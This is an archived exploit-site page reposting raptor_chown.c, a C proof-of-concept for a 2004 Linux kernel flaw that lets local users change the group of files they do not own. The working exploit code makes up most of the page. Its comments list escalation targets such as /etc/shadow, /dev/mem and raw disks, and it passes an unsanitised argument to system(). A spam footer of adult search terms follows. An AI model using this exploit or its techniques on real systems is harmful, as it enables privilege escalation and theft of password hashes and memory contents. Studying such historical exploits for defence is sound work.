about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Linux Kernel 2.6.x sys_chown() Group Ownership Alteration Exploit



2004-12-23 Linux Kernel 2.6.x sys_chown() Group Ownership Alteration Exploit
CAN-2004-0497

/*
* $Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_chown.c - sys_chown missing DAC controls on Linux
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Unknown vulnerability in Linux kernel 2.x may allow local users to 
* modify the group ID of files, such as NFS exported files in kernel 
* 2.4 (CAN-2004-0497).
*
* "Basically, you can change the group of a file you don't own, but
not
* of an SGID executable." -- Solar Designer (0dd)
*
* On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files
you 
* don't own, even on local filesystems. This may allow a local attacker to

* perform a privilege escalation, e.g. through the following attack
vectors:
*
* 1) Target /etc/shadow: on some distros (namely slackware 9.1 and debian
* 3.0, probably others) the shadow group has read access to it.
* 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents.
* 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks.
* 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands.
*
* Usage:
* $ gcc raptor_chown.c -o raptor_chown -Wall
* $ ./raptor_chown /etc/shadow
* [...]
* -rw-r----- 1 root users 500 Mar 25 12:27 /etc/shadow
*
* Vulnerable platforms:
* Linux 2.2.x (on nfs exported files, should be vuln) [untested]
* Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested]
* Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested]
*/

#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

#define INFO1 "raptor_chown.c - sys_chown missing DAC controls on
Linux"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi
<raptor@0xdeadbeef.info>"

int main(int argc, char **argv)
{
char cmd[256];

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s file_name\n\n", argv[0]);
exit(1);
}

/* ninpou: sys_chown no jutsu! */
if (chown(argv[1], -1, getgid()) < 0) {
switch(errno) {
case EPERM:
fprintf(stderr, "Error: Not vulnerable!\n");
break;
default:
perror("Error");
}
exit(1);
}
fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");

/* print some output */
sprintf(cmd, "/bin/ls -l %s", argv[1]);
system(cmd);

exit(0);
}


securitydot.net - 2004-12-23

Advertising

Copyright 2007, SecurityDot
Thu, 26 Nov 2009 11:24:19 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
hot&am vuln/explo news for c Xxx Arabi news for C gdata mon pay Waptrick.n real madri indiyan se sex of ron jeniferlop www.zhmf51 malayalsex Www.xxxgay www.kukugo news for C SHAKEELA KinSize news for C apple pass tamilsexyc www.blogzo Webalizer modules/Fo sexmovi ***y tamil news for c news for C www.snehas Anrkale www89com news for C WWW.SEX6.C Www.xxxgay www.shengl ip b windows an Invision B /component www.taobao xh13.com Windows NT news for C netqmail kiran Xxx Arabi Katarinaka news for C Layla saxy